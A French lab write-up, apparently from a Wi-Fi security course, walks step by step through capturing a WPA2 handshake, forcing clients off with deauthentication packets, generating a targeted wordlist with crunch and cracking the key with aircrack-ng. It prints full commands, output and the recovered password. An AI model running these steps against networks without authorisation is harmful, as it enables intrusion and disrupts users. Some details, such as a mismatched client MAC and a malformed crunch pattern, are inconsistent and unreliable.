

Documentation : Cracker une clé WPA par dictionnaire

Introduction

Cette documentation détaille la procédure pour cracker une clé de sécurité WPA en utilisant une attaque par dictionnaire.

Nous utiliserons **Aircrack-ng** pour la capture, **Crunch** pour générer un dictionnaire ciblé et de nouveau **Aircrack-ng** pour mener l'attaque.

Prérequis

- Carte Wi-Fi compatible injection et mode monitor.
- Debian GNU/Linux (ou une distribution similaire) avec `aircrack-ng` et `crunch` installés.
- Proximité physique avec le réseau cible et un client connecté.
- Une hypothèse sur la structure du mot de passe pour créer un dictionnaire efficace.
- Permissions légales pour effectuer l'audit de sécurité.

Phase 1 : Capture du Handshake WPA

Étape 1 : Lancement de la capture sur le réseau cible

On utilise `airodump-ng` pour écouter spécifiquement sur le canal et le BSSID du point d'accès cible, et on sauvegarde la capture dans un fichier.

```
# Lancer l'écoute sur le canal 4, pour le BSSID 90:94:E4:84:5C:4A
# -w handshake : spécifie le nom des fichiers de sortie (handshake-01.cap, etc.)
sudo airodump-ng -c 4 --bssid 90:94:E4:84:5C:4A -w handshake wlan0mon
```

Cette commande doit rester active dans un premier terminal. On y voit le BSSID de l'AP et, en dessous, les clients connectés (STATION).

Capture d'écran : Airodump-ng en attente du handshake.

```
CH 4 ][ Elapsed: 0 s ][ 2025-10-21 12:11
BSSID          PWR RXQ Beacons  #Data, #/s CH  MB  ENC CIPHER  AUTH  ESSID
90:94:E4:84:5C:4A -41  0      34      98  27  4   54e. WPA2 CCMP  PSK   Cours-WiFi-Audit
BSSID          STATION        PWR   Rate  Lost  Frames  Notes  Probes
90:94:E4:84:5C:4A D0:C6:37:38:3A:79 -50  24e-54e  7     62
90:94:E4:84:5C:4A 84:9E:56:E4:49:A3 -40  54 -54    0     36
```

Étape 2 : Forcer la déconnexion d'un client

Dans un **second terminal**, on envoie des paquets de déauthentification au client identifié (MAC 8A:EA:47:AF:F6:4E) pour le forcer à se reconnecter et ainsi générer un handshake que nous pourrions capturer.

```
# Envoyer 20 paquets de déauthentification
# -0 : mode deauth, 20 est le nombre de paquets
# -a : BSSID de l'AP
# -c : MAC du client à déconnecter
sudo aireplay-ng -0 20 -a 90:94:E4:84:5C:4A -c 8A:EA:47:AF:F6:4E wlan0mon
```

```
> sudo aireplay-ng -0 20 -a 90:94:E4:84:5C:4A -c 8A:EA:47:AF:F6:4E wlan0mon
[sudo] Mot de passe de user :
12:12:50 Waiting for beacon frame (BSSID: 90:94:E4:84:5C:4A) on channel 4
12:12:50 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 1|58 ACKs]
12:12:51 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 1|56 ACKs]
12:12:51 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 1|55 ACKs]
12:12:52 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [12|55 ACKs]
12:12:52 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [15|61 ACKs]
12:12:53 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 1|59 ACKs]
12:12:54 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 1|58 ACKs]
12:12:54 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 0|56 ACKs]
12:12:55 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 6|60 ACKs]
12:12:55 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 3|59 ACKs]
12:12:56 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 2|60 ACKs]
12:12:56 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 4|58 ACKs]
12:12:57 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 1|63 ACKs]
12:12:57 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 4|60 ACKs]
12:12:58 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 3|52 ACKs]
12:12:58 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 2|55 ACKs]
12:12:59 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [10|58 ACKs]
12:13:00 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 1|62 ACKs]
12:13:00 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 6|57 ACKs]
12:13:01 Sending 64 directed DeAuth (code 7). STMAC: [8A:EA:47:AF:F6:4E] [ 1|59 ACKs]
```

Étape 3 : Vérification de la capture

En observant le premier terminal (`airodump-ng`), un message doit apparaître en haut à droite, confirmant la capture.

```
[ WPA handshake: 90:94:E4:84:5C:4A ]
```

On peut alors arrêter la capture (Ctrl+C). Pour confirmer que le handshake est bien dans le fichier, on peut utiliser `aircrack-ng`.

```
# Vérifier le contenu du fichier .cap
aircrack-ng handshake-01.cap
```

La sortie doit indiquer **WPA (1 handshake)**.

Capture d'écran : Confirmation du handshake dans Aircrack.

```
Reading packets, please wait...
Opening handshake-01.cap
Read 3371 packets.

# BSSID          ESSID          Encryption
1 90:94:E4:84:5C:4A Cours-WiFi-Audit WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening handshake-01.cap
Read 3371 packets.

1 potential targets

Please specify a dictionary (option -w).
```

Phase 2 : Crack du mot de passe

Étape 4 : Création d'un dictionnaire ciblé avec Crunch

L'hypothèse est que le mot de passe fait 9 caractères et suit le pattern : Esgi + 4 chiffres + 1 caractère spécial.

```
# Générer un dictionnaire basé sur le pattern "Esgi%%%"
crunch 9 9 -t Esgi%%%" -o wl_Esgi_4digits_special.txt
```

```
> crunch 9 9 -t Esgi%%%" -o wl_Esgi_4digits_special.txt
Crunch will now generate the following amount of data: 3300000 bytes
3 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 330000

crunch: 100% completed generating output
ls
base_words.txt      handshake-02.kismet.netxml handshake-05.cap    NEW_handshake-01.kismet.netxml wl_Esgi_4digits.txt    wl_esgi.txt        wl_Esgi_underscore.txt
devs                handshake-02.log.csv   handshake-05.csv    NEW_handshake-01.log.csv      wl_Esgi_bang_4digits.txt wl_esgi.txt        wordlist1.txt
esgi_crack          handshake-03.cap       handshake-05.kismet.csv results.log                  wl_esgi_bang.txt      wl_esgi.txt        wordlist_2024.txt
esgi_smart_wordlist.txt handshake-03.csv        handshake-05.kismet.netxml smart_esgi.txt            wl_esgi_bang.txt      wl_esgi.txt        wordlist2.txt
handshake-01.cap     handshake-03.kismet.csv handshake-05.log.csv  smart_passwords.txt        wl_esgi_only.txt      'wl_esgi_l.txt'    wordlist_all_esgi.txt
handshake-01.csv     handshake-03.kismet.netxml handshake-22080      smart_patterns.txt         wl_esgi_special_all.txt wl_esgi_s.txt      wordlist_part_aa
handshake-01.kismet.csv handshake-03.log.csv    handshake.hccap      smart_wordlist.txt         wl_esgi_special_all.txt 'wl_esgi_..txt'    wordlist_part_ab
handshake-01.kismet.netxml handshake-04.cap        history.txt           test.txt                   wl_esgi_special_all.txt wl_esgi_..txt      wordlist_part_ac
handshake-01.log.csv handshake-04.csv         lost+found            tp_wordlist.txt            wl_esgi_special_all.txt wl_esgi_@.txt      wordlist_part_ad
handshake-02.cap     handshake-04.kismet.csv NEW_handshake-01.cap  variations.txt              wl_esgi_special_first.txt wl_esgi_..txt      wordlist_smart.txt
handshake-02.csv     handshake-04.kismet.netxml NEW_handshake-01.csv  wl_combined.txt             wl_esgi.txt            wl_ESGI.txt
handshake-02.kismet.csv handshake-04.log.csv    NEW_handshake-01.kismet.csv 'wl_esgi_9.txt'           wl_esgi.txt            wl_ESGI.txt
```

Autre tentative de crunch avec d'autre paternel et donc plein d'autre tentative avant de trouver la bonne combolist

Étape 5 : Lancement de l'attaque avec Aircrack-ng

On utilise le dictionnaire généré contre le fichier de capture contenant le handshake.

```
# Lancer aircrack-ng avec le fichier de capture et notre dictionnaire  
aircrack-ng handshake-01.cap -w wl_Esgi_4digits_special.txt
```

```
Aircrack-ng 1.7  
  
[00:01:36] 65200/330000 keys tested (685.30 k/s)  
  
Time left: 6 minutes, 26 seconds 19.76%  
  
KEY FOUND! [ Esgi2005! ]  
  
Master Key   : 79 8E E2 F0 CC 33 2F 2A 90 40 A1 46 EA 39 EF 9C  
              79 3F 75 7B 93 F3 9F 39 0F 29 96 22 1C 0A FD 90  
  
Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
                00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
                00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
                00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  
EAPOL HMAC   : 53 C7 CF 3E 6E C3 2C 2B F7 3E 24 77 F3 42 BC 6E
```

L'opération a réussi et a révélé la clé.

Le mot de passe trouvé est : **Esgi2005!**